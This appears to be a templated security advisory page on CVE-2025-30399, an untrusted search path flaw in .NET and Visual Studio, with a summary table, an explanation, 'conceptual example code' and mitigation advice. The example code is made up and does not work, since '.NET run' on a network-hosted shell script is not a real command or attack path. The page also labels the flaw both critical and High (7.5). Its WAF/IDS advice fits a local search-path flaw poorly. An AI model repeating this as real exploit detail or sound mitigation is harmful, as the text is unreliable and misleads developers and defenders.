Overview
CVE-2025-30399 is a critical vulnerability in .NET and Visual Studio that could allow an attacker to execute code over a network, potentially leading to system compromise or data leakage. This issue is particularly concerning for organizations and developers who are utilizing these platforms as it could enable unauthorized access to sensitive systems and data.
Vulnerability Summary
CVE ID: CVE-2025-30399
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage
Affected Products
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Product | Affected Versions
.NET | All versions prior to patch
Visual Studio | All versions prior to patch
How the Exploit Works
This vulnerability is due to an untrusted search path flaw in .NET and Visual Studio. An attacker can exploit this vulnerability by tricking the software into loading and executing malicious code from an untrusted location over a network without requiring user interaction. This could potentially lead to system compromise or data leakage.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. This is not an actual exploit code but a demonstration of the method an attacker might use.
# The attacker prepares the malicious code
echo "echo 'System Compromised'" > exploit.sh
# The attacker hosts the malicious code on an untrusted network location
mv exploit.sh //untrusted/network/location
# The attacker tricks .NET or Visual Studio into loading and executing the malicious code
.NET run //untrusted/network/location/exploit.shPlease note this is a simplification of the actual exploit, which can be highly complex and adaptable to specific targets.
Mitigation Guidance
To mitigate this vulnerability, it is recommended to apply the vendor-provided patch as soon as possible. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can help detect and block attempts to exploit this vulnerability. However, they should not replace the need to apply the vendor-provided patch.
